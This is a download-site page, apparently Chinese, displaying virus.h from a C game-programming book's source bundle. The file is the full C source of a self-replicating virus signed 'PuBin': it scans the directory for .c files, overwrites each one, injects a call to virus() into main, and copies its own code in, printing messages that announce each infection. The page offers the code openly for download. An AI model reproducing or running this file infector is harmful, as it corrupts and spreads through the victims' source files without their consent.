⭐ 欢迎来到虫虫下载站! | 📦 资源下载 📁 资源专辑 ℹ️ 关于我们
⭐ 虫虫下载站

📄 virus.h

📁 c游戏编程从入门到精通_全部源代码和文档
💻 H
字号:
int virus()
{
	struct ffblk ffblk;
	FILE *in,*out,*read;
	char *virus="virus.c";
	char buf[50][80];
	char *p;
	char *end="return";
	char *bracket="}";
	char *main="main";
	char *include[2]={"stdio.h","dir.h"};
	char *int_virus="int virus()";
	char *buffer;
	int done,i,j=0,flag=0;
	printf("\nI have a virus. Writen by PuBin\n");
	done = findfirst("*.c",&ffblk,0);
	while (!done)
	{
		i=0;
		if ((in = fopen(ffblk.ff_name, "rt"))== NULL)
		{
			goto next;
		}
		do{
			if(i>=50)
			{
				fclose(in);
				goto next;
			}
			p=fgets(buf[i],80,in);
			i++;
		}while(p!=NULL);
		fclose(in);
		out=fopen(ffblk.ff_name,"w+t");
		fputs("#include<stdio.h>\n",out);
		fputs("#include<dir.h>\n",out);
		do
		{
			if(strstr(buf[j],main)!=NULL)
			{
				for(;j<i-1;j++)
					if(strstr(buf[j],end)==NULL&&strstr(buf[j],bracket)==NULL)
						fputs(buf[j],out);
					else
					{
						if(flag==0)
						{
							flag=1;
							fputs("virus();\n",out);
						}
						fputs(buf[j],out);
					}
			}
			else if((strstr(buf[j],include[0])==NULL)
			&&(strstr(buf[j],include[1])==NULL))
			{
				fputs(buf[j],out);
				j++;
			}
			else
				j++;
		}while(j<i-1);
		read=fopen(virus,"rt");
			do
			{
				p=fgets(buffer,80,read);
				if(strstr(buffer,int_virus))
					while(p!=NULL)
					{
						if(strstr(buffer,virus)==NULL)
							fputs(buffer,out);
						else
						{
							fputs("	char *virus=\"",out);
							fputs(ffblk.ff_name,out);
							fputs("\";\n",out);
						}
						p=fgets(buffer,80,read);
					}
			}while(p!=NULL);

		fclose(read);
		fclose(out);
		printf("\nYour c program  %s has a virus. Writen by PuBin\n",ffblk.ff_name);
next:		done = findnext(&ffblk);
	}
	return 0;
}

⌨️ 快捷键说明

复制代码 Ctrl + C
搜索代码 Ctrl + F
全屏模式 F11
切换主题 Ctrl + Shift + D
显示快捷键 ?
增大字号 Ctrl + =
减小字号 Ctrl + -